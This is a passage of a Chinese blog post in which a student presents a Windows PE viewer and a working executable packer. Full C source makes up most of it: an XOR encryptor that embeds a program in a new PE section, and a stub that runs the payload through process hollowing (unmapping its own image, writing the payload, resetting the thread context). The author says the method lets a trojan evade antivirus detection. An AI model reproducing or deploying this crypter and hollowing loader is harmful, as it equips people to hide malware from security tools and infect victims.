hwnd = GetDlgItem(hwndDlg, IDC_EDIT9);
sprintf(info,"%08x",headers_file.EntryPoint);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT10);
sprintf(info,"%04x",headers_file.NumberOfSections);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT11);
sprintf(info,"%08x",headers_file.TimeDateStamp);//时间戳
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT12);
sprintf(info,"%08x",headers_file.SizeOfHeaders);
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT13);
sprintf(info,"%08x",headers_file.NumberOfRvaAndSizes);//特征直
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT14);
sprintf(info,"%08x",headers_file.CheckSum);//校验和
SetWindowText(hwnd, info);
hwnd = GetDlgItem(hwndDlg, IDC_EDIT15);
sprintf(info,"%04x",headers_file.SizeOfOptionalHeader);
SetWindowText(hwnd, info);
}
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTONA1:
{
EndDialog(hwndDlg,0);
break;
}
case IDC_BUTTONA2:
{
DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN12),NULL,SECTION_DEAL);
break;
}
case IDC_BUTTONA3:
{
DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN11),NULL,DIRECTION_DEAL);
break;
}
}
}
}
return false;
}
void getInfo_2(char* start){
headers_file.e_lfanew = get_int_data(start,60);
start = start+headers_file.e_lfanew;
headers_file.NumberOfSections = get_short_data(start,6);
headers_file.SizeOfOptionalHeader = get_short_data(start,20);
start = start+24;
headers_file.EntryPoint = get_int_data(start,16);
headers_file.ImageBase = get_int_data(start,28);
headers_file.SectionAlignment = get_int_data(start,32);
headers_file.SizeOfImage = get_int_data(start,56);
headers_file.FileAlignment = get_int_data(start,36);
headers_file.SizeOfHeaders = get_int_data(start,60);
}
char* memcopy_image_2(char* start_file){
char* start_image;
start_image = (char*)malloc(headers_file.SizeOfImage);
memset(start_image,0,headers_file.SizeOfImage);
memcpy(start_image,start_file,headers_file.SizeOfHeaders);
int i;
char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
for(i=0;i<headers_file.NumberOfSections;i++){
sections.PointerToRawData = get_int_data(start_section,20);
sections.SizeOfRawData = get_int_data(start_section,16);
sections.VirtualAddress = get_int_data(start_section,12);
sections.VirtualSize = get_int_data(start_section,8);
memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
start_section = start_section+40;
}
return start_image;
}
void addcode(char* start_image){
int point = (int)start_image;
memcpy(start_image+sections.VirtualAddress,p2,flen);
}
char* add_section_2(char* start_image){
char* start_new_image;
if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
//printf("space is not statific");
}
else{
//printf("space is statific");
start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
memcpy(start_new_image,start_image,headers_file.SizeOfImage);
*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
printf("%x",(flen/0x1000+1)*0x1000);
int a;
if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
a = sections.VirtualAddress+sections.VirtualSize;
}
else{
a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
}
//sections.VirtualSize = headers_file.SectionAlignment;
if(sections.VirtualSize>sections.SizeOfRawData){
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a;
}
else{
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a;
}
//printf("%x\n",a);
//sections.VirtualAddress = sections.VirtualAddress+sections.VirtualSize;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) = (flen/0x1000+1)*0x1000;
//sections.SizeOfRawData = headers_file.FileAlignment;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
if(sections.VirtualSize>sections.SizeOfRawData){
sections.VirtualAddress = a;}
else{
sections.VirtualAddress = a;
}
sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
sections.VirtualSize = (flen/0x1000+1)*0x1000;
sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
}
addcode(start_new_image);
return start_new_image;
}
char* memcopy_file_2(char* start_image){
char* start_file;
start_file = (char*)malloc(len1+(flen/0x1000+1)*0x1000);
//printf("%x",flen+headers_file.SectionAlignment);
memset(start_file,0,len1+(flen/0x1000+1)*0x1000);
memcpy(start_file,start_image,headers_file.SizeOfHeaders);
int i;
char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
for(i=0;i<headers_file.NumberOfSections+1;i++){
sections.PointerToRawData = get_int_data(start_section,20);
sections.SizeOfRawData = get_int_data(start_section,16);
sections.VirtualAddress = get_int_data(start_section,12);
memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData);
start_section = start_section+40;
}
return start_file;
}
void copy_file_2(char* start_file){
FILE* fp = fopen("C:\\Documents and Settings\\Administrator\\桌面\\加密后.exe","wb");
fwrite(start_file,len1+(flen/0x1000+1)*0x1000,1,fp);
fclose(fp);
}
void up_Info(char* start){
char* start_new;
start_new = (char*)malloc(headers_file.SizeOfHeaders);
memcpy(start_new,start+headers_file.e_lfanew,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
memcpy(start+64,start_new,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
free(start_new);
*(int*)(start+60) = 64;
}
char* readfile(char* path){
FILE* fp;
fp = fopen(path,"rb");
if(fp == NULL){
printf("file error");
}
fseek(fp,0L,SEEK_END);
flen = ftell(fp);
fseek(fp,0L,SEEK_SET);
char* buffer;
buffer = (char*)malloc(flen);
fread(buffer,flen,1,fp);
fclose(fp);
return buffer;
}
void encrypt(char* data,int len){
for(int i =0;i<len;i++)
{
data[i] ^='4310';
}
}
VOID Loading_Shell()
{
char shellPath[1024] = "shellC.exe";
p1 = readfile(shellPath);
len1 = flen;
p2 = get_file();
len2 = flen;
encrypt(p2,len2);
getInfo_2(p1);
up_Info(p1);
getInfo_2(p1);
char* start_image = memcopy_image_2(p1);
free(p1);
char* start_new_image = add_section_2(start_image);
free(start_image);
char* start_file = memcopy_file_2(start_new_image);
copy_file_2(start_file);
free(start_file);
// return 0;
}
BOOL CALLBACK DialogProc(
HWND hwndDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
hwndDlg1 = hwndDlg;
switch(uMsg)
{
case WM_INITDIALOG:
{
HICON hIcon = LoadIcon(hInstanceicon,MAKEINTRESOURCE(IDI_ICON1));
SendMessage(hwndDlg,WM_SETICON,ICON_BIG,(long)hIcon);
SendMessage(hwndDlg,WM_SETICON,ICON_SMALL,(long)hIcon);
InitProcessListView(hwndDlg);
InitProcessListView_down(hwndDlg);
return true;
}
case WM_CLOSE:
{
EndDialog(hwndDlg,0);
break;
}
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTON1:
{
TCHAR szPeFileExt[100] = "*.exe;*.dll;*.scr;*.drv;*.sys";
TCHAR szFileName[256];
memset(szFileName,0,256);
memset(&stOpenFile,0,sizeof(OPENFILENAME));
stOpenFile.lStructSize = sizeof(OPENFILENAME);
stOpenFile.Flags = OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST;
stOpenFile.hwndOwner = hwndDlg;
stOpenFile.lpstrFilter = szPeFileExt;
stOpenFile.lpstrFile = szFileName;
stOpenFile.nMaxFile = MAX_PATH;
GetOpenFileName(&stOpenFile);
DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN1),NULL,PE_DEAL);
return true;
}
case IDC_BUTTON4:
{
TCHAR szPeFileExt[100] = "*.exe;*.dll;*.scr;*.drv;*.sys";
TCHAR szFileName[256];
memset(szFileName,0,256);
memset(&stOpenFile,0,sizeof(OPENFILENAME));
stOpenFile.lStructSize = sizeof(OPENFILENAME);
stOpenFile.Flags = OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST;
stOpenFile.hwndOwner = hwndDlg;
stOpenFile.lpstrFilter = szPeFileExt;
stOpenFile.lpstrFile = szFileName;
stOpenFile.nMaxFile = MAX_PATH;
GetOpenFileName(&stOpenFile);
Loading_Shell();
return true;
}
case IDC_BUTTON3:
{
EndDialog(hwndDlg,0);
return true;
}
}
case WM_NOTIFY:
{
NMHDR* pNMHDR = (NMHDR*)lParam;
if(wParam == IDC_PROCESS1 && pNMHDR->code == NM_CLICK)
{
EnumModules(GetDlgItem(hwndDlg,IDC_PROCESS1),wParam,lParam,GetDlgItem(hwndDlg,IDC_PROCESS2));
}
}
}
}
return FALSE ;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
hInstanceicon = hInstance;
INITCOMMONCONTROLSEX icex;
icex.dwSize = sizeof(INITCOMMONCONTROLSEX);
icex.dwICC = ICC_WIN95_CLASSES;
InitCommonControlsEx(&icex);
DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG_MAIN),NULL,DialogProc);
return 0;
}
三、加壳思路及代码实现
- 思路
1、获取Shell程序的路径
2、获取src程序的路径
3、将src程序读取到内存中,加密(我使用了最简单的异或,密钥是“4310”,可以随意更换加密方式)
4、在Shell程序中新增一个节,并将加密后的src程序追加到Shell程序的新增节中
5、加壳过程完毕

- 壳子程序思路
1、获取SHELL程序的路径
2、获取src的数据
(1) 定为到SHELL文件的最后一个节
(2) 将数据取出,并解密
3、拉伸PE
将解密后的PE文件在内存中拉伸,并存储到缓冲区中
4、以挂起方式运行Shell进程
(0) 以挂起形成创建Shell进程,并得到主线程的Context
(1) 卸载外壳程序的文件镜像(ZwUnmapViewOfSection)
(2) 在指定的位置(src的ImageBase)申请指定大小(src的SizeOfImage)的内存(VirtualAllocEx)
(3) 如果创建失败,查看src是否包含重定位表,如果包含重定位表,就在任意位置申请(src的SizeOfImage)
大小的内存,然后修复重定位表.
(4) 如果在指定位置申请内存失败,并且没有重定位表的数据,直接返回失败.
(5) 如果内存申请成功,将新的数据复制到内存中
(6) 修正运行环境的基址和入口地址
(7) 恢复主线程执行
- 壳子程序流程
1、读取主模块的数据
2、解密:得到原来的PE文件
3、以挂起的形式创建进程:CreateProcess :要创建的进程在哪里?
要创建的进程,就是壳子本身!
4、获取外壳程序的Context,后面要用.
5、卸载外壳程序.
6、在指定的位置分配空间:位置就是src的ImageBase 大小就是Src的SizeOfImage
7、如果成功,将Src的PE文件拉伸 复制到该空间中
8、如果申请空间失败,但有重定位表:在任意位置申请空间,然后将PE文件拉伸、复制、修复重定位表。
9、如果第6步申请空间失败,并且还没有重定位表,直接返回:失败.
10、修改外壳程序的Context:
将Context的ImageBase 改成 Src的ImageBase
将Context的OPE 改成 Src的OEP
11、设置Context 并恢复主线程
12、终止外壳程序,解壳过程结束.
- 原理
这样对加壳后的程序进行分析,分析的是壳子程序本身,而不是原程序,达到了防止静态检测的目的,但是对动态检测效果甚微。
- 代码
加密部分:
// 加密部分.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdlib.h>
#include <malloc.h>
#include <string.h>
int flen,len1;
int flag = 1;
char* p1;
char* p2;
typedef struct PE{
int e_lfanew;
short NumberOfSections;
short SizeOfOptionalHeader;
int EntryPoint;
int ImageBase ;
int SectionAlignment ;
int SizeOfImage;
int FileAlignment;
int SizeOfHeaders;
}headers;
typedef struct sec{
int PointerToRawData;
int SizeOfRawData;
int VirtualAddress;
int VirtualSize;
}section;
headers headers_file;
section sections;
char get_char_data(char* start,int distance){
char data = *(start+distance);
return data;
}
short get_short_data(char* start,int distance){
short data =*(short*) (start+distance);
return data;
}
int get_int_data(char* start,int distance){
int data =*(int*) (start+distance);
return data;
}
void getInfo(char* start){
headers_file.e_lfanew = get_int_data(start,60);
start = start+headers_file.e_lfanew;
headers_file.NumberOfSections = get_short_data(start,6);
headers_file.SizeOfOptionalHeader = get_short_data(start,20);
start = start+24;
headers_file.EntryPoint = get_int_data(start,16);
headers_file.ImageBase = get_int_data(start,28);
headers_file.SectionAlignment = get_int_data(start,32);
headers_file.SizeOfImage = get_int_data(start,56);
headers_file.FileAlignment = get_int_data(start,36);
headers_file.SizeOfHeaders = get_int_data(start,60);
}
char* memcopy_image(char* start_file){
char* start_image;
start_image = (char*)malloc(headers_file.SizeOfImage);
memset(start_image,0,headers_file.SizeOfImage);
memcpy(start_image,start_file,headers_file.SizeOfHeaders);
int i;
char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
for(i=0;i<headers_file.NumberOfSections;i++){
sections.PointerToRawData = get_int_data(start_section,20);
sections.SizeOfRawData = get_int_data(start_section,16);
sections.VirtualAddress = get_int_data(start_section,12);
sections.VirtualSize = get_int_data(start_section,8);
memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
start_section = start_section+40;
}
return start_image;
}
void addcode(char* start_image){
int point = (int)start_image;
memcpy(start_image+sections.VirtualAddress,p2,flen);
}
char* add_section(char* start_image){
char* start_new_image;
if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
printf("space is not statific");
}
else{
printf("space is statific");
start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
memcpy(start_new_image,start_image,headers_file.SizeOfImage);
*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
printf("%x",(flen/0x1000+1)*0x1000);
int a;
if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
a = sections.VirtualAddress+sections.VirtualSize;
}
else{
a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
}
//sections.VirtualSize = headers_file.SectionAlignment;
if(sections.VirtualSize>sections.SizeOfRawData){
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a;
}
else{
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a;
}
printf("%x\n",a);
//sections.VirtualAddress = sections.VirtualAddress+sections.VirtualSize;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) = (flen/0x1000+1)*0x1000;
//sections.SizeOfRawData = headers_file.FileAlignment;
*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
if(sections.VirtualSize>sections.SizeOfRawData){
sections.VirtualAddress = a;}
else{
sections.VirtualAddress = a;
}
sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
sections.VirtualSize = (flen/0x1000+1)*0x1000;
sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
}
addcode(start_new_image);
return start_new_image;
}
char* memcopy_file(char* start_image){
char* start_file;
start_file = (char*)malloc(len1+(flen/0x1000+1)*0x1000);
//printf("%x",flen+headers_file.SectionAlignment);
memset(start_file,0,len1+(flen/0x1000+1)*0x1000);
memcpy(start_file,start_image,headers_file.SizeOfHeaders);
int i;
char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
for(i=0;i<headers_file.NumberOfSections+1;i++){
sections.PointerToRawData = get_int_data(start_section,20);
sections.SizeOfRawData = get_int_data(start_section,16);
sections.VirtualAddress = get_int_data(start_section,12);
memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData);
start_section = start_section+40;
}
return start_file;
}
void copy_file(char* start_file){
FILE* fp = fopen("C:\\Documents and Settings\\Administrator\\桌面\\4310.exe","wb");
fwrite(start_file,len1+(flen/0x1000+1)*0x1000,1,fp);
fclose(fp);
}
void up_Info(char* start){
char* start_new;
start_new = (char*)malloc(headers_file.SizeOfHeaders);
memcpy(start_new,start+headers_file.e_lfanew,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
memcpy(start+64,start_new,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40);
free(start_new);
*(int*)(start+60) = 64;
}
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
char* readfile(char* path){
FILE* fp;
fp = fopen(path,"rb");
if(fp == NULL){
printf("file error");
}
fseek(fp,0L,SEEK_END);
flen = ftell(fp);
fseek(fp,0L,SEEK_SET);
char* buffer;
buffer = (char*)malloc(flen);
fread(buffer,flen,1,fp);
fclose(fp);
return buffer;
}
void encrypt(char* data,int len){
for(int i =0;i<len;i++)
{
data[i] ^='4310';
}
}
int main(int argc, char *argv[]) {
char shellPath[1024] = "C:\\Program Files\\Microsoft Visual Studio1\\MyProjects\\shellC\\Debug\\shellC.exe";
char srcPath[1024] = "C:\\Documents and Settings\\Administrator\\桌面\\MyGetColor.exe";
int len2;
p1 = readfile(shellPath);
len1 = flen;
p2 =readfile(srcPath);
len2 = flen;
encrypt(p2,len2);
getInfo(p1);
up_Info(p1);
getInfo(p1);
char* start_image = memcopy_image(p1);
free(p1);
char* start_new_image = add_section(start_image);
free(start_image);
char* start_file = memcopy_file(start_new_image);
copy_file(start_file);
free(start_file);
return 0;
}
壳子程序:
// shellC.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <stdlib.h>
typedef struct PE{
int e_lfanew;
short NumberOfSections;
short SizeOfOptionalHeader;
int EntryPoint;
int ImageBase ;
int SectionAlignment ;
int SizeOfImage;
int FileAlignment;
int SizeOfHeaders;
}headers;
typedef struct sec{
int PointerToRawData;
int SizeOfRawData;
int VirtualAddress;
int VirtualSize;
}section;
headers headers_file;
section sections;
char get_char_data(char* start,int distance){
char data = *(start+distance);
return data;
}
short get_short_data(char* start,int distance){
short data =*(short*) (start+distance);
return data;
}
int get_int_data(char* start,int distance){
int data =*(int*) (start+distance);
return data;
}
void getInfo(char* start){
headers_file.e_lfanew = get_int_data(start,60);
start = start+headers_file.e_lfanew;
headers_file.NumberOfSections = get_short_data(start,6);
headers_file.SizeOfOptionalHeader = get_short_data(start,20);
start = start+24;
headers_file.EntryPoint = get_int_data(start,16);
headers_file.ImageBase = get_int_data(start,28);
headers_file.SectionAlignment = get_int_data(start,32);
headers_file.SizeOfImage = get_int_data(start,56);
headers_file.FileAlignment = get_int_data(start,36);
headers_file.SizeOfHeaders = get_int_data(start,60);
}
char* Get_src(char* start){
char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
for(int i=0;i<headers_file.NumberOfSections;i++){
sections.PointerToRawData = get_int_data(start_section,20);
sections.SizeOfRawData = get_int_data(start_section,16);
sections.VirtualAddress = get_int_data(start_section,12);
sections.VirtualSize = get_int_data(start_section,8);
start_section = start_section+40;
}
return start+sections.PointerToRawData;
}
void Decode(char* src,int size){
for(int i =0;i<size;i++)
{
src[i] ^='4310';
}
}
char* memcopy_image(char* start_file){
char* start_image;
start_image = (char*)malloc(headers_file.SizeOfImage);
memset(start_image,0,headers_file.SizeOfImage);
memcpy(start_image,start_file,headers_file.SizeOfHeaders);
int i;
char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
for(i=0;i<headers_file.NumberOfSections;i++){
sections.PointerToRawData = get_int_data(start_section,20);
sections.SizeOfRawData = get_int_data(start_section,16);
sections.VirtualAddress = get_int_data(start_section,12);
sections.VirtualSize = get_int_data(start_section,8);
memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
start_section = start_section+40;
}
return start_image;
}
/*VOID ModificationBaseRel(IN LPVOID ImageBuffer, DWORD newImageBase) {
PIMAGE_DOS_HEADER pDosHeader = NULL; //DOs 头
PIMAGE_NT_HEADERS pNTHeader = NULL; //NT头
PIMAGE_FILE_HEADER pFileHeader = NULL; // 标准PE头
PIMAGE_OPTIONAL_HEADER pOptionHerader = NULL; // 可选PE头
PIMAGE_SECTION_HEADER pSectionHeader = NULL; // 节表
PIMAGE_BASE_RELOCATION pBaseRelocation = NULL; //重定位表
pDosHeader = (PIMAGE_DOS_HEADER)ImageBuffer;
pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
pFileHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + sizeof(DWORD));
pOptionHerader = (PIMAGE_OPTIONAL_HEADER)((DWORD)pFileHeader + IMAGE_SIZEOF_FILE_HEADER);
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pOptionHerader + pFileHeader->SizeOfOptionalHeader);
pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pDosHeader + pOptionHerader->DataDirectory[5].VirtualAddress);
pOptionHerader->ImageBase = newImageBase;
int index = 0;
while (pBaseRelocation->VirtualAddress != 0) {
int count = (pBaseRelocation->SizeOfBlock - 8) / 2;
PWORD addr = (PWORD)((DWORD)pBaseRelocation + 8);
for (int i = 0; i < count; i++) {
DWORD height4 = addr[i] >> 12;
if (height4 == 3) {
DWORD low12 = addr[i] & 0x0fff;
DWORD rva = pBaseRelocation->VirtualAddress + low12;
PDWORD addr = (PDWORD)((DWORD)ImageBuffer + rva);
*addr = *addr - pOptionHerader->ImageBase + newImageBase;
}
}
index++;
pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pBaseRelocation + pBaseRelocation->SizeOfBlock);
}
}*/
int main(int argc, char* argv[])
{
char FilePath[255] = {0};
GetModuleFileName(NULL,FilePath,255);
char currentDirectory[255] = {0};
GetCurrentDirectory(256,currentDirectory);
//printf("%s",currentDirectory);
int flen;
FILE* fp;
fp = fopen(FilePath,"rb");
if(fp == NULL){
printf("file error");
}
fseek(fp,0L,SEEK_END);
flen = ftell(fp);
fseek(fp,0L,SEEK_SET);
char* buffer;
buffer = (char*)malloc(flen);
fread(buffer,flen,1,fp);
fclose(fp);
getInfo(buffer);
char* src = Get_src(buffer);
Decode(src,sections.SizeOfRawData);
getInfo(src);
char* image = memcopy_image(src);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
//以挂起的方式创建进程
CreateProcess(
NULL, // name of executable module
FilePath, // command line string
NULL, // SD
NULL, // SD
FALSE, // handle inheritance option
CREATE_SUSPENDED, // creation flags
NULL, // new environment block
currentDirectory, // current directory name
&si, // startup information
&pi // process information
);
CONTEXT contx;
contx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &contx);
//获取入口点
DWORD dwEntryPoint = contx.Eax;
//获取ImageBase
char* baseAddress = (CHAR *)contx.Ebx + 8;
DWORD imageBase = 0;
SIZE_T byteSize = 0;
//因为属于别人程序所以使用这个读
ReadProcessMemory(pi.hProcess, baseAddress, &imageBase, 4, &byteSize);
typedef long NTSTATUS;
typedef NTSTATUS(__stdcall *pfnZwUnmapViewOfSection)(
IN HANDLE ProcessHandle,
IN LPVOID BaseAddress
);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
if (!ZwUnmapViewOfSection)
{
::TerminateThread(pi.hThread, 2);
::WaitForSingleObject(pi.hThread, INFINITE);
return 0;
}
//卸载文件外壳镜像
DWORD a = 0;
a = ZwUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
LPVOID status = NULL;
//指定区域分配地址
status = VirtualAllocEx(pi.hProcess,
(LPVOID)headers_file.ImageBase, headers_file.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
/*if (status == NULL) {
//判断有没有重定位
if (isRelocation(image)) {
::TerminateThread(pi.hThread, 2);
::WaitForSingleObject(pi.hThread, INFINITE);
return 0;
}
status = VirtualAllocEx(pi.hProcess,
NULL, headers_file.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (status == 0) {
::TerminateThread(pi.hThread, 2);
::WaitForSingleObject(pi.hThread, INFINITE);
return 0;
}
//修复重定位
ModificationBaseRel(image, (DWORD)status);
}*/
SIZE_T srcResult = 0;
WriteProcessMemory(pi.hProcess, status, image, headers_file.SizeOfImage, &srcResult);
//修正context结构
SIZE_T oepResult = 0;
WriteProcessMemory(pi.hProcess, baseAddress, &headers_file.ImageBase, sizeof(DWORD), &oepResult);
contx.Eax = headers_file.EntryPoint + headers_file.ImageBase;
SetThreadContext(pi.hThread, &contx);
//记得恢复线程
ResumeThread(pi.hThread);
return 0;
}
- 效果展示
在物理主机中,总是被360检测为病毒,此过程在虚拟中进行。我采用笔记本程序NOTEPAD.exe程序作为原程序,进行加壳

生成了加壳后的程序,命名为4310.exe
运用PE工具,与NOTEPAD.exe进行pe结构比对



可以看到pe结构根本不同,因为这里分析的是壳子程序的PE结构,但双击运行

运行的是壳子程序,但是壳子程序在4GB虚拟内存中,把自身卸载掉,然后换上存储在节中的原程序(此处就是NOTEPAD.exe),也就达到如此效果,如果把NOTEPAD.exe换成木马程序,就能实现文件免杀的效果。
四、总结
这个项目从刚开学就开始做了,中间停滞了一段时间(复习考研),导致后来继续的时候,一些模块丢失,不能把逆向进阶和加壳的程序代码加到PE工具图形界面中,有些遗憾,但是预期效果都达到了,下一步的学习就是向内核(0环)进阶。

浙公网安备 33010602011771号